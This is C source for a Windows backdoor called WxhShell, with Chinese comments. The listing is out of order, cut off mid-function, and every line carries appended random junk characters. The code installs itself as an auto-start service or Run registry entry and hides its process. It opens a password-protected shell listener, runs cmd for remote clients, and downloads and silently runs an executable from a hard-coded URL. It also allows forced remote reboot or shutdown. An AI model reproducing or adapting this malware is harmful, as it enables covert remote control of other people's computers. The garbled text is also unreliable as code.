    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a}iP +#;  
    if(Boot(SHUTDOWN)) zFQm3!.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oArXP\#  
    else { j6j4M,UI43  
    closesocket(wsh); u\"/EaQ{  
    ExitThread(0); `2]TPaWGh  
    } /} h"f5  
    break; @>8 {J6%\  
    } <8YvsJ  
  // 获取shell :, 3S5!(y  
  case 's': { dK;ebg9|  
    CmdShell(wsh); LIKQQ  
    closesocket(wsh); nPDoK!r'  
    ExitThread(0); @ 2On`~C`  
    break; yYP>3]z  
  } % [~0<uO  
  // 退出 dn:\V?9  
  case 'x': { K=r~+4F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c`/=)IO4%  
    CloseIt(wsh); rHuzGSX54  
    break;  d^zuo  
    } l%p,m [  
  // 离开 m77 !i>V)  
  case 'q': { G:@1.H`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m#-&<=  
    closesocket(wsh); ddbQFAQQQ  
    WSACleanup(); .&`apQD}  
    exit(1); QjD=JC+  
    break; 1f'msy/  
        } 6!N2B[9  
  } A8o)^T(vJ  
  } gGN 6Yqj0  
s%8,'3&  
  // 提示信息 @%YbptT}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ;]bW  
} '&2-{Y [!  
  } 27}7 n  
o,S(;6pDJ  
  return; %$'fq*8b  
} REh\WgV!u  
V F b  
// shell模块句柄 V-E 77u6{0  
int CmdShell(SOCKET sock) Mvp|S.  
{ jc\y{I\  
STARTUPINFO si; /5Vv5d/Z4!  
ZeroMemory(&si,sizeof(si)); b|;h$otC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NqveL<r`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {wgq>cb  
PROCESS_INFORMATION ProcessInfo; JT~Dr KI_  
char cmdline[]="cmd"; jQ7-M4qO/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Mz+vT0  
  return 0; )vpYVr-  
} wQ~]VV RN  
Pc7p2  
// 自身启动模式 a*:GCGe  
int StartFromService(void) mNEh\4ai  
{ O%6D2d  
typedef struct u} +?'B)  
{ FvO,* r9  
  DWORD ExitStatus; K-K>'T9F}  
  DWORD PebBaseAddress; fVVD}GM=  
  DWORD AffinityMask; P,xJVo\  
  DWORD BasePriority; =BJe}AV  
  ULONG UniqueProcessId; mahNQ5W*)  
  ULONG InheritedFromUniqueProcessId; =+I-9=  
}   PROCESS_BASIC_INFORMATION; <M}O&?N 8x  
@ &Od1X  
PROCNTQSIP NtQueryInformationProcess; 2@@evQ  
P2| +7D:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &FJr?hY%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \=`jo$S  
P=L@!F+s  
  HANDLE             hProcess; ]!N=Z }LD  
  PROCESS_BASIC_INFORMATION pbi; Hl'AnxE  
VE1j2=3+o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cMoJHC,!  
  if(NULL == hInst ) return 0; -t>"s'kv  
]0[ot$Da6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %iJ}H6m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  ls7P$qq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %o{IQ4Lz#  
TCIbPs E  
  if (!NtQueryInformationProcess) return 0; @8+v6z  
"WO0 rh`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?STO#<a  
  if(!hProcess) return 0; MZB}O" r  
{`T^&b k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,nGQVb   
TtKKU4yp  
  CloseHandle(hProcess); ez)Ks`  
5tzO=gO[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <`NsX 6t  
if(hProcess==NULL) return 0; 5h Dy62PRr  
[N}QCy  
HMODULE hMod; <"xqt7f  
char procName[255]; GCX?W`  
unsigned long cbNeeded; !IB}&m  
+Z86Qz_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b`,Sd.2=('  
' I!/I  
  CloseHandle(hProcess); t 7sEY  
e=eip?p  
if(strstr(procName,"services")) return 1; // 以服务启动 K{V.N</  
9?~6{!m_9  
  return 0; // 注册表启动 rLA-q||  
} a2kAZCQ  
c&{= aIe w  
// 主模块 Yx,7e(AI`  
int StartWxhshell(LPSTR lpCmdLine) G007[|  
{ <h}x7y?  
  SOCKET wsl; xU}J6 Tv  
BOOL val=TRUE; R*XZPzg%  
  int port=0; yF%e)6  
  struct sockaddr_in door; Q<ia  
E*fa&G~s )  
  if(wscfg.ws_autoins) Install(); Kp1 F"!  
C*B5"s"  
port=atoi(lpCmdLine); m/(/!MVy  
7Cbr'!E\_V  
if(port<=0) port=wscfg.ws_port; @$ lX%p>  
g jzWW0C  
  WSADATA data; Dhfor+Epy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  6pfkv2.}  
&GvSgdttv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~l{Qz0&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W}}ZP];  
  door.sin_family = AF_INET; mFxt +\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H~SU:B:  
  door.sin_port = htons(port); D ] n|d+  
5p5"3m;M7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { apgKC;  
closesocket(wsl); </?ef&  
return 1; *M0O&"~j  
} `P-d. M6Oa  
W1t_P&i  
  if(listen(wsl,2) == INVALID_SOCKET) { F:[[@~z  
closesocket(wsl); ]` A*7  
return 1; VM\\.L  
} 0Zo><=  
  Wxhshell(wsl); %g3QE:(2@q  
  WSACleanup(); ]KXyi;n2  
~ Fl\c-  
return 0; D/%v/mpj$  
>i.$s  
} }J92TV  
`T ^0&#  
// 以NT服务方式启动 7!FiPH~kM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q u7ML]e?z  
{ 5 wN)N~JE  
DWORD   status = 0; PYY<  
  DWORD   specificError = 0xfffffff; ! r/~D |  
-U?%A:,a|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Br&&#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9F6dKPN:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zb02\xvf  
  serviceStatus.dwWin32ExitCode     = 0; "wKJ8  
  serviceStatus.dwServiceSpecificExitCode = 0; @H( 7Mt  
  serviceStatus.dwCheckPoint       = 0; QtW e,+WWV  
  serviceStatus.dwWaitHint       = 0; z7)$m0',?  
gm8Jx hL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (nuTfmt>  
  if (hServiceStatusHandle==0) return; SMRCG"3qwA  
/6yVbo"  
status = GetLastError(); b&1hj[`)  
  if (status!=NO_ERROR) U2vb&Qu/  
{ 7^UY%t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;E5XH"L\  
    serviceStatus.dwCheckPoint       = 0; )FIFf;r  
    serviceStatus.dwWaitHint       = 0; &TrL!9FtJ  
    serviceStatus.dwWin32ExitCode     = status; >1]hR)Ip  
    serviceStatus.dwServiceSpecificExitCode = specificError; sCQV-%9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j]5e$e{  
    return; KV9~L`=]i  
  } DRXUQH  
B9cWxe4R#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TlX:05/V8  
  serviceStatus.dwCheckPoint       = 0; ]VtP7 Y  
  serviceStatus.dwWaitHint       = 0; KbK!4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <mTo54g  
} YN:Sn\`D 8  
Zu4CFX-4  
// 处理NT服务事件,比如:启动、停止 P 6ka'!z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [eTEK W]  
{ o8%o68py  
switch(fdwControl) MTgf.  
{ |UQ [pas  
case SERVICE_CONTROL_STOP: US-f<Wq  
  serviceStatus.dwWin32ExitCode = 0; EGFPv'De  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x;~@T9.  
  serviceStatus.dwCheckPoint   = 0; AE`{k-3=%  
  serviceStatus.dwWaitHint     = 0; Qm"~XP  
  { <@+L^Ps~z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NE) w$>0M  
  } M\7F1\ X  
  return; t U~q4$qqE  
case SERVICE_CONTROL_PAUSE: RF4B ]Gqd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VsK8:[Al  
  break; $ kMe8F_  
case SERVICE_CONTROL_CONTINUE: m] p]J_6A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w-v8 P`V  
  break; REi"Aj=  
case SERVICE_CONTROL_INTERROGATE: CD^@*jH9"  
  break; 2.v`J=R  
}; $M4_"!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2_?VR~mA#  
} }XpZgd$  
*UN*&DmF  
// 标准应用程序主函数 Y(EF )::  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FJ?]|S.?,  
{ <veypLi"R  
HTMo.hr  
// 获取操作系统版本 \Ov~ t  
OsIsNt=GetOsVer(); .N\t3\9}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7X> @r"9<  
X`eX+9  
  // 从命令行安装  dBN:  
  if(strpbrk(lpCmdLine,"iI")) Install(); qvhG ^b0h  
Ep')@7^n  
  // 下载执行文件 $`t2SD  
if(wscfg.ws_downexe) { /6\uBy"Xt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?@Tsd@s~r  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yc3\  
} gQY`qz  
_ |HA\!  
if(!OsIsNt) { 9Q\B1Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 _25PyG  
HideProc(); =>A}eR1Y   
StartWxhshell(lpCmdLine); <&)zT#"  
} Pmr'W\aIR  
else '9<8<d7?  
  if(StartFromService()) r4K%dx-t  
  // 以服务方式启动 ATmyoN2@>  
  StartServiceCtrlDispatcher(DispatchTable); ,5 3`t  
else j0 Os]a  
  // 普通方式启动 19oyoi"  
  StartWxhshell(lpCmdLine); aSHN*tP%y  
uz=9L<$  
return 0; HoWK# Nz\  
} `G*fx=N  
I,& gKgh  
Jiru~Vo+  
b#t5Dve  
=========================================== BI!EmA  
Fy.!amXu  
]f wW dtz1  
8/u kzY1!  
KR hls"\1  
"(';UFa  
" XZ8]se"C  
6KN6SN$  
#include <stdio.h> zd F;!  
#include <string.h> &Fk|"f+  
#include <windows.h> X .K*</(g  
#include <winsock2.h> :inVwc  
#include <winsvc.h> |^F$Ta  
#include <urlmon.h> [?2?7>D8  
u'Hh||La"  
#pragma comment (lib, "Ws2_32.lib") X~\O]  
#pragma comment (lib, "urlmon.lib") N1vA>(2A  
^EmePkPI  
#define MAX_USER   100 // 最大客户端连接数 iT{[zLz>1  
#define BUF_SOCK   200 // sock buffer evVxzU&  
#define KEY_BUFF   255 // 输入 buffer 8S[bt@v  
u`!Dp$P  
#define REBOOT     0   // 重启 ~= otdJ  
#define SHUTDOWN   1   // 关机 #D >:'ezm  
FZ8Qj8  
#define DEF_PORT   5000 // 监听端口 F6h IG G  
wp:Zur5Y  
#define REG_LEN     16   // 注册表键长度 65mfq&"P ?  
#define SVC_LEN     80   // NT服务名长度 ,k9.1kjO*)  
TKEcbGhy  
// 从dll定义API OsYZ a`$,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ps/|^8aGZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,t'"3<^Jg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6_tl_O7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yaHkWkl =  
qB`%+<)C  
// wxhshell配置信息 -|=)  
struct WSCFG { -`t9@1P> =  
  int ws_port;         // 监听端口 sdgI ,  
  char ws_passstr[REG_LEN]; // 口令 Az>r}*F Gr  
  int ws_autoins;       // 安装标记, 1=yes 0=no `P*wZKlW  
  char ws_regname[REG_LEN]; // 注册表键名 T[cJ   
  char ws_svcname[REG_LEN]; // 服务名 9}q)AL-ga  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X%7l! k[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RYl\Q,#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4 .(5m\s!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aH, NS   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %[o($a$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '#QZhz(+  
q+w] Xs;  
}; fM*aZc*Y  
eqWs(`  
// default Wxhshell configuration <9;X1XtpI  
struct WSCFG wscfg={DEF_PORT, Ngm/5Lc  
    "xuhuanlingzhe", 8'v:26   
    1, ;L%\[H>G  
    "Wxhshell", /7-FVqDx8  
    "Wxhshell", `)BZk[64  
            "WxhShell Service", 9wdX#=I  
    "Wrsky Windows CmdShell Service", t0^)Q$  
    "Please Input Your Password: ", _u~`RlA  
  1, sLK$H|%>m  
  "http://www.wrsky.com/wxhshell.exe", *WWDwY@!u  
  "Wxhshell.exe" JX{rum  
    }; 0 r;tI"  
2 B_+5  
// 消息定义模块 Q} g"pl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]^@m $O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PevT`\>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VZ9`Kbu  
char *msg_ws_ext="\n\rExit."; VQ+G.  
char *msg_ws_end="\n\rQuit."; b,(<74!#8  
char *msg_ws_boot="\n\rReboot..."; 9.6ni1a'  
char *msg_ws_poff="\n\rShutdown..."; )2:U]d%pk  
char *msg_ws_down="\n\rSave to "; 6/Z_r0^O  
IhK%.B{dZ  
char *msg_ws_err="\n\rErr!"; /-=h|A#Kh  
char *msg_ws_ok="\n\rOK!"; V.ae 5@;  
HisH\z/i5)  
char ExeFile[MAX_PATH]; Enp;-wG:-  
int nUser = 0; 91k-os(4]  
HANDLE handles[MAX_USER]; h6tYy_(G  
int OsIsNt; tC7 4=  
F C=N}5u  
SERVICE_STATUS       serviceStatus; 9*r l7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e8z?) 4T  
z07:E>D]  
// 函数声明 ?U2 'L2y  
int Install(void); w3ZO CWJS  
int Uninstall(void); 5 <7sVd.  
int DownloadFile(char *sURL, SOCKET wsh); @ xTVX'$  
int Boot(int flag); wV4MP1c$  
void HideProc(void); X%`:waR  
int GetOsVer(void); h +9~^<oFl  
int Wxhshell(SOCKET wsl); vJb/.)gh]  
void TalkWithClient(void *cs); j`MK\*qmz  
int CmdShell(SOCKET sock); UGoB7TEfn  
int StartFromService(void); h6;zAM}  
int StartWxhshell(LPSTR lpCmdLine); W"tGCnd  
J d,9<m $  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); shVEAT'`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |HwEwL+  
}=u#,nDl>$  
// 数据结构和表定义 ?MvL}o\|  
SERVICE_TABLE_ENTRY DispatchTable[] = `?"r\Qo<  
{ 71\GK  
{wscfg.ws_svcname, NTServiceMain}, g$qM}#s0}  
{NULL, NULL} uaha)W;'9  
}; f{{J_""?&  
C!Fi &~  
// 自我安装 Xp fw2;`U'  
int Install(void) }%0X7'  
{ _gl1Qtv@rf  
  char svExeFile[MAX_PATH]; J!@R0U.  
  HKEY key; t&_X{!1X"w  
  strcpy(svExeFile,ExeFile); &(|x-OT  
G P`sOPr  
// 如果是win9x系统,修改注册表设为自启动 s/P+?8'9  
if(!OsIsNt) { cSmy M~[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iaRCV 6cl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e&NJj:Ph*  
  RegCloseKey(key); GX*9R>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r<Q0zKW!jN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pK0@H"$8  
  RegCloseKey(key); LFvZ 7M\\  
  return 0; " #w%sG^_  
    } +IlQZwm~  
  } -<(RYMk*)  
} df&.!7_R`  
else { H,LJ$ py  
U~oGg$  
// 如果是NT以上系统,安装为系统服务 [Y^h)k{-$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9 {IDw   
if (schSCManager!=0) q&LCMnv"P  
{ ylQ9Su>o  
  SC_HANDLE schService = CreateService NT9|``^Z  
  ( *thm)Mn  
  schSCManager, J.c yb  
  wscfg.ws_svcname, Qr?1\H:Lq  
  wscfg.ws_svcdisp, 8cuI-Swz  
  SERVICE_ALL_ACCESS, F|8;Swb5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8T"kQB.Zv  
  SERVICE_AUTO_START, y-"QY[  
  SERVICE_ERROR_NORMAL, :kd]n$]  
  svExeFile, 4Ujy_E?^  
  NULL, BW"24JhF"  
  NULL, pfFHuS~  
  NULL, |ZOdfr4uW  
  NULL, ;f)AM}~^Q  
  NULL (,cG+3r ]  
  ); C3(h j  
  if (schService!=0) :Vw{ l B  
  { 9VSi2p*  
  CloseServiceHandle(schService); 'p[B`Ft3F  
  CloseServiceHandle(schSCManager); \[ 4y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =uR3|U(.|u  
  strcat(svExeFile,wscfg.ws_svcname); Sar1NkD#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .=9d3uWJ/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4`") aM  
  RegCloseKey(key); S,vdd7Y  
  return 0; r Cb#E}  
    } (D{J|  
  } (ki= s+W-  
  CloseServiceHandle(schSCManager); 0!tuUn  
} rU 1Ri  
} /NxuNi;5  
"|V}[ 2  
return 1; 8O[l[5u&  
} be?Bf^O>  
[* @ +  
// 自我卸载 eDvh3Y<D  
int Uninstall(void) `oM'H+  
{ Z_[L5B]Gwd  
  HKEY key; !-ZY_  
1X9J[5|ll  
if(!OsIsNt) { ^1_CS*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [\  &2&  
  RegDeleteValue(key,wscfg.ws_regname); lR]FQnZ  
  RegCloseKey(key); @|e we. r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kU.@HJ[@j  
  RegDeleteValue(key,wscfg.ws_regname); Qraa0]56  
  RegCloseKey(key); #qeC)T  
  return 0; *eI{g  
  } s-~`Ao' <  
} DgB;6Wl  
} _CBMU'V  
else { "/Gw`^t  
k(_OhV_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DhD##5a  
if (schSCManager!=0) <5}j(jxz}  
{ : t /0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4&v&XLkb  
  if (schService!=0) f>3)}9?xc}  
  { n^*,JL 9@  
  if(DeleteService(schService)!=0) { N7YCg  
  CloseServiceHandle(schService); B![:fiR`  
  CloseServiceHandle(schSCManager); {SD%{  
  return 0; [a?bv7Kz  
  } A;o({9VH`Z  
  CloseServiceHandle(schService); Ge^,hAM'  
  } ~ H/ZiBL@  
  CloseServiceHandle(schSCManager); p"j &s  
} DfVJ~,x~  
} $8SSu|O+x  
pgZQ>%  
return 1; Y/T-q<ag8  
} PWkSl  
zS h9`F  
// 从指定url下载文件 *zW]IQ'A  
int DownloadFile(char *sURL, SOCKET wsh) |$~]|SK  
{ v5U'ky :  
  HRESULT hr; 9<3fH J?vq  
char seps[]= "/"; ze21Uj1x*  
char *token; hMUUnr"8;i  
char *file; -= izu]Fb,  
char myURL[MAX_PATH]; $1Zr.ERL|(  
char myFILE[MAX_PATH]; 5fYWuc9}z  
}w-M .  
strcpy(myURL,sURL); R~fk/T?  
  token=strtok(myURL,seps); #&1gVkvp  
  while(token!=NULL) q03+FLEfC  
  { # s7e/GdKb  
    file=token; T8x8TN"  
  token=strtok(NULL,seps); 1kR. .p<"  
  } IM5[O}aq  
};<?W){!H  
GetCurrentDirectory(MAX_PATH,myFILE); gQJLqs"F  
strcat(myFILE, "\\"); bbDm6,  
strcat(myFILE, file); uX]]wj-R3  
  send(wsh,myFILE,strlen(myFILE),0); <K,X5ctM}  
send(wsh,"...",3,0); eZ-fy,E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WNKg>$M  
  if(hr==S_OK) B<n[yiJ}  
return 0; 7S=,#  
else dDD5OnWmJ  
return 1; Of-xGo YZ  
F^S]7{  
} 69apTx  
ck3+A/ !z  
// 系统电源模块 (U 4n} J  
int Boot(int flag) "S*@._   
{ xtKU;+#  
  HANDLE hToken; xq=!1>  
  TOKEN_PRIVILEGES tkp; #kA?*i[T  
DbX7?Jr  
  if(OsIsNt) { oe0YxSauL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q]3]Z/i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ] @#wR  
    tkp.PrivilegeCount = 1; o>bi~(H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q/d?c Lgl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yPs6_Qo!p  
if(flag==REBOOT) { >Gk<a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) po,U e>n/  
  return 0; %[M0TE=J  
} J9DI(`  
else { {9.UeVz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3IB9-wG  
  return 0; *X ;ch55\  
} &m   GU  
  } %Lb cwh(9  
  else { d|9]E&;,  
if(flag==REBOOT) { )+=Kh$VbS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z @ef2y;  
  return 0; ;[[6[i  
} #8ltV`  
else { kM&-t&7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $5&~gHc,  
  return 0; "* N#-=MJF  
} $#2<f 6  
} FQ`1c[M@  
"Z;({a$v  
return 1; -$I30.#  
} HavlN}h  
q-uzu!  
// win9x进程隐藏模块 PAtv#)h  
void HideProc(void) 9F?-zn;2s  
{ :@ VCKq!  
,S(s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5MD'AP:  
  if ( hKernel != NULL ) (E&M[hH+  
  { ysl#Rwt/2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s S#/JLDx]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3}&3{kt  
    FreeLibrary(hKernel); DHx&%]r;D  
  } 4[MTEBx  
kv,!"<  
return; M_.Jmh<&&  
} m%>}T 75C^  
^cSfkBh  
// 获取操作系统版本 $Bl51Vj N  
int GetOsVer(void) UnYb}rF#%  
{ O>a1S*mxP  
  OSVERSIONINFO winfo; WBkx!{\z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )*{B_[  
  GetVersionEx(&winfo); (_CvN=A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A'b$X1h  
  return 1; Kg2Du'WQ^  
  else c00rq ~<K  
  return 0; vCSC:  
} 5U4V_*V  
JtxVF !v  
// 客户端句柄模块 EzjK{v">  
int Wxhshell(SOCKET wsl) '@h  
{ jw {B8<@s  
  SOCKET wsh; _z{9V7n4  
  struct sockaddr_in client; q(^iT~}  
  DWORD myID; _KxR~k^  
I"x|U[*B  
  while(nUser<MAX_USER) (_>Su QK  
{ > /Q^.hzd  
  int nSize=sizeof(client); rKI<!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6sQ;Z|!Pz  
  if(wsh==INVALID_SOCKET) return 1; >~Tn%u<  
z=g!mVK5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #\n* Qg4p  
if(handles[nUser]==0) >A6W^J|[  
  closesocket(wsh); wy${EY^h  
else CI-za !T  
  nUser++; L?N-uocT  
  } NCG;`B`i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {6:*c  
#OM)71kB8  
  return 0; <OKc?[  
} Y,Rr[i"j  
-T{2R:\{  
// 关闭 socket B@i%B+qCLv  
void CloseIt(SOCKET wsh) "-dA\,G  
{ ~yw]<{?  
closesocket(wsh); ~LV]cX2J(  
nUser--; >dm9 YfQ  
ExitThread(0); ryh"/lu[B  
} oVn&L*H   
eA-oqolY  
// 客户端请求句柄 nK?S2/o#A  
void TalkWithClient(void *cs) C~@m6K  
{ &Mudu/KTr  
K/f-9hE F  
  SOCKET wsh=(SOCKET)cs; 5|K[WvG@Co  
  char pwd[SVC_LEN]; "G.X=, V  
  char cmd[KEY_BUFF]; 3Wv^{|^  
char chr[1]; Cb+$|Kg/"b  
int i,j; .udLMS/_  
>c<xy>N  
  while (nUser < MAX_USER) { Ry]9n.y  
R2-F@_  
if(wscfg.ws_passstr) { 3 e1-w$z&S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GWPBP-)0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bo\Ah/.  
  //ZeroMemory(pwd,KEY_BUFF); Q*PcO\Y!y  
      i=0; w?|qKO  
  while(i<SVC_LEN) { ; YQB  
g@4~,  
  // 设置超时 :?g+\:`/0j  
  fd_set FdRead; ,@?9H ~\  
  struct timeval TimeOut; rXD:^wUSc  
  FD_ZERO(&FdRead); , h'Q  
  FD_SET(wsh,&FdRead); 9wldd*r  
  TimeOut.tv_sec=8; &,jUaC5I  
  TimeOut.tv_usec=0; :}Yk0*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hv,ll1@h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U), HrI>;  
nYZ6'Iwi'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  .nrbd#i-  
  pwd=chr[0]; UWV%  y P  
  if(chr[0]==0xd || chr[0]==0xa) { Y3&,U  
  pwd=0; [Tbnfst  
  break; tJ>>cFx  
  } fK+E5~vQ  
  i++; %,02i@Fc  
    } `:V'E>B  
w->Y92q]  
  // 如果是非法用户,关闭 socket , ftJw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "49dsKIOH  
} {%9@{Q'T.s  
vCJa%}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $o5i15Oy.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l:UKU!  
0{bl^#$f  
while(1) { 63Gq5dF  
+ynhN\S$/  
  ZeroMemory(cmd,KEY_BUFF); HB5-B XBU  
* BR#^Wt  
      // 自动支持客户端 telnet标准   %~Rg`+  
  j=0; Zf!Q4a"  
  while(j<KEY_BUFF) { ,;w~ VZ4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y]0c%Fd  
  cmd[j]=chr[0]; g*YA~J@  
  if(chr[0]==0xa || chr[0]==0xd) { "D_:`@V(  
  cmd[j]=0; 59l9_yFJ  
  break; v :/!OvLe  
  } $u~ui@kB  
  j++; Q> y!  
    } _1G/qHf^S  
]7W!f 2@  
  // 下载文件 DAWF =p]  
  if(strstr(cmd,"http://")) { q 9xA.*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^#Q-?O  
  if(DownloadFile(cmd,wsh)) $G"\@YC<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ckK{kS4~  
  else wW\@^5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r.#r!.6 q  
